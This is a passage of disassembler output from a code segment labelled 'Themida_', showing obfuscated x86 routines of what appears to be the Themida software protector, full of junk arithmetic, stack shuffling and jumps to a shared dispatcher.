		or	ecx, 9497042h
		shl	ecx, 8
		jmp	loc_59298A
; ---------------------------------------------------------------------------


loc_58F4B2:				; CODE XREF: Themida_:00596270j
		jnp	loc_58BA82
		jmp	loc_591500
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		mov	cl, 5Dh
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58F4C5:				; CODE XREF: sub_593009-8693j
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, 605C68D2h
		add	ebp, ebx
		add	ebp, 605C68D2h
		pop	ebx
		push	ebp
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_59002E
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D90C


loc_58F4EF:				; CODE XREF: sub_58D90C+5B77j
		mov	[esp+0], ebx
		push	[esp+arg_0]
		push	[esp+4+var_4]
		jmp	loc_58FB7B
; END OF FUNCTION CHUNK	FOR sub_58D90C
; ---------------------------------------------------------------------------


loc_58F4FE:				; CODE XREF: Themida_:0058F3DFj
		push	esp
		pop	dword ptr [esp]
		push	edx
		jmp	loc_591266
; ---------------------------------------------------------------------------


loc_58F508:				; CODE XREF: Themida_:00593A14j
		mov	ebx, 407209CCh
		push	ecx
		mov	ecx, 0D0A1A43h
		and	ebx, ecx
		pop	ecx
		not	ebx
		push	edx
		mov	edx, 4FC05141h
		add	edx, 0B03DA67Ah
		sub	ebx, edx
		pop	edx
		add	eax, ebx
		pop	ebx
		push	ecx
		jmp	loc_5915AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F530:				; CODE XREF: sub_596082-5663j
		pop	edx
		shl	edi, 8
		dec	edi
		push	edi
		jmp	loc_591C8E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58F53B:				; CODE XREF: sub_591C99-4A5Ej
		mov	[esp+0], edx
		mov	edx, 3BB53C07h
		shr	edx, 1
		js	loc_58CDA2
		jmp	loc_59736A
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58F550:				; CODE XREF: Themida_:0058AED2j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_592F64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F562:				; CODE XREF: sub_596082-6E3j
		pop	ebx
		not	edx
		push	ebp
		mov	ebp, 56827A18h
		or	ebp, 68BB1F11h
		jmp	loc_593C7C
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F576:				; CODE XREF: Themida_:00593789j
		pop	ecx
		add	ecx, 4
		jmp	loc_58E512
; ---------------------------------------------------------------------------


loc_58F582:				; CODE XREF: Themida_:0059755Aj
		jbe	loc_58BE78
		add	ecx, 43E12792h
		jmp	loc_5901BF
; ---------------------------------------------------------------------------
		push	edi
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58F595:				; CODE XREF: sub_593009-7E01j
		pop	esp
		jmp	loc_5970C3
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58F59B:				; CODE XREF: Themida_:005927E8j
		mov	dh, 5Eh
		or	dh, 80h
		not	dh
		shr	dh, 2
		add	dh, 2Ah
		and	cl, dh
		mov	edx, [esp]
		add	esp, 4
		xor	cl, 34h
		xor	al, cl
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_58B518
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58F5C3:				; CODE XREF: sub_58AE7C+307j
		mov	dh, ah
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		add	dh, ch
		jmp	loc_594DF8
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_58F5D2:				; CODE XREF: sub_596BF6-BD53j
		mov	edi, 0B9441A28h
		add	eax, edi
		jmp	loc_59698F
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D966


loc_58F5ED:				; CODE XREF: sub_58D966-11Cj
		jmp	loc_590EDA
; END OF FUNCTION CHUNK	FOR sub_58D966
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58F5F2:				; CODE XREF: sub_58E66C-4B7j
		push	[esp+14h+var_14]
		pop	edi
		push	edx
		push	esp
		jmp	loc_597259
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58F5FD:				; CODE XREF: Themida_:0058B274j
		xchg	eax, [esp]
		pop	esp
		push	ebp
		push	esp
		jmp	loc_58BCE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58F608:				; CODE XREF: sub_58AE7C+1FDj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_58FA0E
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_58F620:				; CODE XREF: Themida_:0058AE1Dj
					; Themida_:005905B0j
		mov	esp, [esp]
		jmp	loc_59147E
; ---------------------------------------------------------------------------


loc_58F628:				; CODE XREF: Themida_:0058B971j
		sub	eax, 39FE59D4h
		sub	eax, ebp
		add	eax, 39FE59D4h
		sub	eax, 503111E2h
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	edx
		push	43A001E9h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_596EDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F654:				; CODE XREF: sub_596082-3639j
		and	eax, 13B91249h
		shl	eax, 7
		xor	eax, 0D013A0E8h
		xor	ecx, eax
		pop	eax
		jmp	loc_59226F
; ---------------------------------------------------------------------------


loc_58F669:				; CODE XREF: sub_596082:loc_58B116j
		sub	eax, 6A1663CEh
		jmp	loc_58BB64
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58F673:				; CODE XREF: sub_58E66C+3F18j
		pop	edi
		mov	ebp, [esp+18h+var_18]
		jmp	loc_5914D4
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C36D


loc_58F67C:				; CODE XREF: sub_58C36D+7C2j
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58C36D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58F681:				; CODE XREF: sub_58E91C+1A03j
		mov	ecx, 1DE4E3Fh
		jmp	loc_58A541
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58F68B:				; CODE XREF: sub_591C99+5425j
		pop	ecx
		push	cx
		mov	ch, 3Eh
		xor	dh, ch
		pop	cx
		shl	dh, 5
		add	dh, 0D3h
		jmp	loc_5946C3
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F69F:				; CODE XREF: sub_596082+83Aj
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		mov	eax, 38AD208Bh
		add	ebx, eax
		pop	eax
		xor	ebx, 0D698C38Fh
		sub	edx, 22DA6ED0h
		add	edx, ebx
		add	edx, 22DA6ED0h
		jmp	loc_59519B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F6CA:				; CODE XREF: Themida_:0058E794j
		xchg	ebx, edi
		neg	ebx
		jmp	loc_59509C
; ---------------------------------------------------------------------------


loc_58F6D3:				; CODE XREF: Themida_:0058CDD5j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5908C0
; ---------------------------------------------------------------------------


loc_58F6E1:				; CODE XREF: Themida_:005922E3j
		add	[esp+8], edx
		add	dword ptr [esp+8], 41784E59h
		pop	edx
		pop	ecx
		jmp	loc_58A4F0

; =============== S U B	R O U T	I N E =======================================



sub_58F6F4	proc near		; CODE XREF: sub_591C99-6CD8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058D8BA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058E8C2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059173C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593EE4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594ABD SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005975CC SIZE 00000017 BYTES

		push	ebx
		mov	bh, 1Ch
		dec	bh
		not	bh
		shl	bh, 2
		or	bh, 1
		dec	bh
		xchg	cl, bh
		jmp	loc_594ABD
sub_58F6F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58F70A:				; CODE XREF: Themida_:0058D9C5j
		add	esp, 4
		sub	esi, 1003773Fh
		sub	esi, 4AF320A8h
		add	esi, ecx
		push	84Dh
		mov	[esp], edi
		mov	edi, 4AF320A8h
		jmp	loc_58B030
; ---------------------------------------------------------------------------


loc_58F730:				; CODE XREF: Themida_:00591DB0j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_592159
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58F73C:				; CODE XREF: sub_58AE7C+15B2j
		add	edx, 7D09392Bh
		add	edx, ecx
		sub	edx, 7D09392Bh
		pop	ecx
		jmp	loc_58B054
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------


loc_58F750:				; CODE XREF: Themida_:00594D65j
		push	esp
		pop	eax
		jmp	loc_5968C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590324


loc_58F757:				; CODE XREF: sub_590324-312Aj
		add	esp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], edi
		jmp	loc_58FE45
; END OF FUNCTION CHUNK	FOR sub_590324
; ---------------------------------------------------------------------------


loc_58F76B:				; CODE XREF: Themida_:00592C5Bj
		push	ecx
		mov	ch, 0E9h
		dec	ch
		push	edx
		mov	dh, 55h
		or	ch, dh
		mov	edx, [esp]
		jmp	loc_58CDDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58F77D:				; CODE XREF: sub_593009-1F32j
		mov	edx, 6B80715Dh
		add	eax, edx
		push	[esp-8+arg_4]
		jmp	loc_596BD7
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58F78C:				; CODE XREF: Themida_:00595A17j
		xor	edi, 22E45713h
		mov	ebp, edi
		pop	edi
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		xor	[esp], eax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58F7A5:				; CODE XREF: sub_58F160-1A48j
		sub	ebx, 48747BFDh
		push	ebp
		mov	ebp, 799207EAh
		dec	ebp
		jo	sub_594930
		push	ebx
		mov	ebx, 7E224C0Eh
		xor	ebp, ebx
		pop	ebx
		add	ebx, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		push	ebx
		push	ebx
		jmp	loc_58EB21
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58F7D3:				; CODE XREF: Themida_:005909D0j
		sub	ecx, 533C320Dh
		or	ecx, 6B755361h
		sub	ecx, 44E204BEh
		add	esi, 664B6649h
		sub	esi, ecx
		sub	esi, 664B6649h
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58C010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58F80C:				; CODE XREF: sub_58E66C-2E92j
		pop	[esp+0Ch+var_C]
		push	ebx
		mov	ebx, 4
		add	[esp+0Ch+var_8], ebx
		pop	ebx
		mov	esi, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 24h
		push	eax
		jmp	sub_58E1BA
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F834:				; CODE XREF: sub_596082-4B08j
		pop	ecx
		push	eax
		mov	eax, 3A707CA7h
		and	eax, 4DEF684Ch
		jmp	loc_58E894
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F845:				; CODE XREF: Themida_:0058E1DBj
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58F874:				; CODE XREF: Themida_:0058DB3Bj
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4F245957h
		dec	ebx
		add	ebx, 37EF11ECh
		not	ebx
		shl	ebx, 7
		neg	ebx
		jmp	loc_594C00
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_59013A
; ---------------------------------------------------------------------------


loc_58F8A5:				; CODE XREF: Themida_:0058D99Cj
		add	esi, 356B5F00h
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5969B1
; ---------------------------------------------------------------------------


loc_58F8B6:				; CODE XREF: Themida_:00592447j
		push	edi
		push	ecx
		mov	ecx, 5F991CC9h
		add	ecx, 0C207C68h
		jge	loc_5905CF
		add	ecx, 579A73FAh
		sub	ecx, 0BA01CC47h
		mov	edi, ecx
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F8D7:				; CODE XREF: sub_596082-96AEj
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp+1Ch+var_1C]
		jmp	loc_5907A1
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58F8E9:				; CODE XREF: sub_58E91C-43C8j
		xor	ecx, 0FFA92B9Ah
		jmp	loc_5932B9
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_58F8F4:				; CODE XREF: sub_596BF6+307j
		mov	ecx, [esp+0]
		push	ebx
		jmp	loc_594897
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------


loc_58F8FD:				; CODE XREF: Themida_:0058CF51j
		sub	edx, 6453CE87h
		jmp	loc_58C5FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F908:				; CODE XREF: sub_596082-2E16j
		add	esi, 1F8850B0h
		jmp	loc_58C150
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F913:				; CODE XREF: Themida_:0058C299j
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_593065
; ---------------------------------------------------------------------------


loc_58F924:				; CODE XREF: Themida_:0058A638j
		sub	eax, 26286E49h
		add	eax, 298B45C4h
		pop	edx
		add	eax, 3E4C5F4Bh
		add	eax, 36A91DF1h
		jmp	loc_590C6D
; ---------------------------------------------------------------------------


loc_58F93E:				; CODE XREF: Themida_:0059242Dj
		shr	esi, 5
		add	esi, 3A554261h
		add	esi, 5B9D4306h
		inc	esi
		push	edi
		mov	edi, 55B03BCCh
		sub	edi, 60246C66h
		and	edi, 6490611Dh
		push	edi
		inc	dword ptr [esp]
		pop	edi
		jmp	loc_593598
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58F96A:				; CODE XREF: sub_58C878+A4FBj
		push	edx
		mov	edx, ebx
		mov	esi, edx
		jmp	loc_590D8E
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_58F974:				; CODE XREF: Themida_:0058CF5Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_58B593
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F983:				; CODE XREF: sub_596082-786Cj
		mov	ebx, 6ADF29E2h
		push	ebp
		jmp	loc_59599A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_58DD12
; ---------------------------------------------------------------------------


loc_58F99C:				; CODE XREF: Themida_:0058C8CDj
		sub	ch, 75h
		jmp	loc_58CAB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_58F9A4:				; CODE XREF: sub_596BC4-8335j
		sub	edx, eax
		add	edx, 2B206273h
		push	3798h
		mov	[esp+4+var_4], edi
		mov	edi, 49A1A2Dh
		inc	edi
		jmp	loc_592724
; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------


loc_58F9BF:				; CODE XREF: Themida_:005946AEj
		jo	loc_58DE41
		sub	ebp, 7CC67E2Bh
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 0B22064Eh
		or	edi, 7EA155BFh
		sub	edi, 29AF4787h
		xor	edx, edi
		jmp	loc_595B2D
; ---------------------------------------------------------------------------


loc_58F9EC:				; CODE XREF: Themida_:00595B7Ej
		mov	[esp], bx
		jmp	loc_58B3FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58F9F5:				; CODE XREF: sub_596082-5CCCj
		xchg	ebx, [esp+14h+var_14]
		jmp	loc_592A22
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58F9FD:				; CODE XREF: Themida_:0058CD8Dj
		or	esi, 50317A9h
		js	loc_59312D
		jmp	loc_58B663
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58FA0E:				; CODE XREF: sub_58AE7C+479Fj
		mov	[esp+0], ebp
		mov	ebp, esp
		jmp	loc_595B3E
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58FA18:				; CODE XREF: sub_596082-82FAj
		mov	eax, [esp+14h+var_14]
		push	ebp
		push	esp
		jmp	loc_592682
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58FA22:				; CODE XREF: Themida_:0058ED19j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_59063D
; ---------------------------------------------------------------------------


loc_58FA50:				; CODE XREF: Themida_:00592959j
		push	ebx
		jmp	loc_595FD2
; ---------------------------------------------------------------------------


loc_58FA56:				; CODE XREF: Themida_:00591AE0j
		pop	edi
		jmp	loc_58BE1E
; ---------------------------------------------------------------------------


loc_58FA5C:				; CODE XREF: Themida_:00597443j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		mov	eax, 2E312423h
		and	eax, 1DD77D2Eh
		or	eax, 168F44D8h
		add	eax, 13792777h
		add	eax, 0CDE77393h
		jmp	loc_595046
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_58FA86:				; CODE XREF: sub_59236E+794j
		or	edx, eax
		shl	edx, 1
		push	22BAh
		jmp	loc_5941BE
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_58FA94:				; CODE XREF: sub_590B23+3FCBj
		add	ebx, 4
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		mov	edx, [esp+0]
		jmp	loc_595573
; END OF FUNCTION CHUNK	FOR sub_590B23
; ---------------------------------------------------------------------------


loc_58FAA5:				; CODE XREF: Themida_:loc_58CF56j
		jmp	loc_58D0A4
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dl, 0EEh
		add	dl, 13h
		jmp	loc_593CCA
; ---------------------------------------------------------------------------


loc_58FAB6:				; CODE XREF: Themida_:00591D24j
		push	edx
		mov	edx, 45B354BDh
		sub	edx, 59A746DCh
		push	esi
		mov	esi, 15FC16B1h
		sub	esi, 7C004998h
		sub	esi, 8607DAF6h
		add	edx, esi
		pop	esi
		sub	ebp, 3A723786h
		jmp	loc_5958A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58FAE2:				; CODE XREF: sub_596498-92E2j
		or	ecx, 4F6D543Ch
		jg	loc_596FEA
		xor	ecx, 39C373Ah
		jmp	loc_58B74C
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58FAF9:				; CODE XREF: sub_58C878+5A58j
		add	edi, 60B24393h
		sub	edi, 40774A0Ah
		not	edi
		push	edx
		mov	edx, 3D8450D3h
		jmp	loc_58F0A8
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58FB12:				; CODE XREF: sub_5F45E7-69250j
					; sub_58D6A0+8D05j
		add	bl, 0F4h
		sub	bl, al
		push	ax
		mov	al, 0F4h
		jmp	loc_5929BF
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58FB20:				; CODE XREF: Themida_:00595995j
		mov	edx, 6F29D1B3h
		mov	ebx, edx
		pop	edx
		xor	ecx, ebx
		pop	ebx
		xor	eax, ecx
		pop	ecx
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58FB38:				; CODE XREF: sub_596498-A904j
					; sub_593009-728Dj
		pop	esp
		push	dword ptr [edi+eax*4]
		jmp	loc_592103
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_58FB41:				; CODE XREF: Themida_:00590B55j
					; Themida_:00596814j
		add	ecx, edi
		sub	ecx, 55D74B4Ah
		sub	ecx, 6D8769E5h
		add	ecx, 4BDA23CCh
		jmp	loc_59238D
; ---------------------------------------------------------------------------


loc_58FB5A:				; CODE XREF: Themida_:00596BF1j
		pop	ebp
		push	edi
		jmp	loc_58F1CD
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_58A4F0

; =============== S U B	R O U T	I N E =======================================



sub_58FB68	proc near		; CODE XREF: sub_593009+2D5Bj

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058D2CA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D31E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00590099 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00590433 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005909DE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00591E79 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005921B1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00593138 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595DB3 SIZE 0000000B BYTES

		push	ebx
		mov	ebx, 0
		jmp	loc_5909DE
sub_58FB68	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58FB73:				; CODE XREF: Themida_:00590DFEj
		mov	ecx, [esp]
		jmp	loc_5918B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D90C


loc_58FB7B:				; CODE XREF: sub_58D90C+1BEDj
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58D90C
; ---------------------------------------------------------------------------


loc_58FB8B:				; CODE XREF: Themida_:00591737j
		xor	edx, 0B3FCA9E0h
		mov	esi, edx
		pop	edx
		jmp	loc_59639E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58FB99:				; CODE XREF: sub_591C99+4FE4j
					; sub_596082+177Cj
		xor	ebx, edi
		pop	edi
		sub	esi, ebx
		jmp	loc_58D87F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59729F


loc_58FBA3:				; CODE XREF: sub_59729F+9j
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edx
		pop	esi
		pop	edx
		and	eax, esi
		mov	esi, [esp-0Ch+arg_8]
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		xchg	eax, ebx
		xchg	ecx, ebx
		push	ecx
		xchg	esi, [esp-0Ch+arg_8]
		not	esi
		xchg	esi, [esp-0Ch+arg_8]
		pop	ecx
		push	ebx
		push	ecx
		pop	ebx
		jmp	loc_58E4AC
; END OF FUNCTION CHUNK	FOR sub_59729F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58FBD7:				; CODE XREF: Themida_:0058EA29j
					; sub_596082-2EDBj ...
		add	ebp, 0A071C662h
		mov	ecx, ebp
		pop	ebp
		dec	ecx
		shl	ecx, 3
		jmp	loc_5934B3
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58FBE9:				; CODE XREF: Themida_:00596B02j
		pop	eax
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_59473A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5967E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58FBFF:				; CODE XREF: sub_5F45E7-62773j
		pop	eax
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_591BB7
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		push	edi
		push	176C0A66h
		jmp	loc_58BBFC
; ---------------------------------------------------------------------------


loc_58FC1C:				; CODE XREF: Themida_:0058C606j
		add	esi, 2A6065FBh
		jmp	loc_58CC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58FC27:				; CODE XREF: sub_5F45E7-62F0Fj
		sub	bl, al
		mov	eax, [esp+0]
		add	esp, 4
		add	bl, al
		jmp	loc_59738A
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58FC39:				; CODE XREF: Themida_:005939FFj
		add	dword ptr [esp], 73454500h
		jmp	loc_593BBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58FC45:				; CODE XREF: sub_5F45E7-66DC2j
		add	ecx, 2
		jmp	loc_591ECB
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58FC4D:				; CODE XREF: Themida_:00591DC8j
		xchg	edi, [esp]
		pop	esp
		mov	ebx, eax
		pop	eax
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917EE


loc_58FC59:				; CODE XREF: sub_5917EE+2456j
		add	ebp, ecx
		pop	ecx
		jmp	loc_591204
; END OF FUNCTION CHUNK	FOR sub_5917EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_58FC61:				; CODE XREF: sub_596BF6-A96Fj
		add	edi, 7C0261DFh
		sub	edi, 42820C54h
		pop	ebx
		add	ebx, edi
		pop	edi
		push	esi
		mov	esi, 4
		push	ecx
		mov	ecx, 11EB3852h
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 58B31B51h
		add	ebx, esi
		add	ebx, 58B31B51h
		add	ebx, 11EB3852h
		pop	esi
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		or	[esp-8+arg_4], eax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------


loc_58FCA2:				; CODE XREF: Themida_:0058E9B3j
		mov	[esp], esp
		jmp	loc_595E65
; ---------------------------------------------------------------------------


loc_58FCAA:				; CODE XREF: Themida_:0058D6D7j
		add	[esp+4], ecx
		pop	ecx
		pop	esi
		push	eax
		mov	eax, 14F351E7h
		add	eax, 0EB0CAE1Dh
		add	esi, eax
		pop	eax
		push	7083h
		jmp	loc_58C740
; ---------------------------------------------------------------------------


loc_58FCC8:				; CODE XREF: Themida_:00592A42j
		add	edx, 0FB872A58h
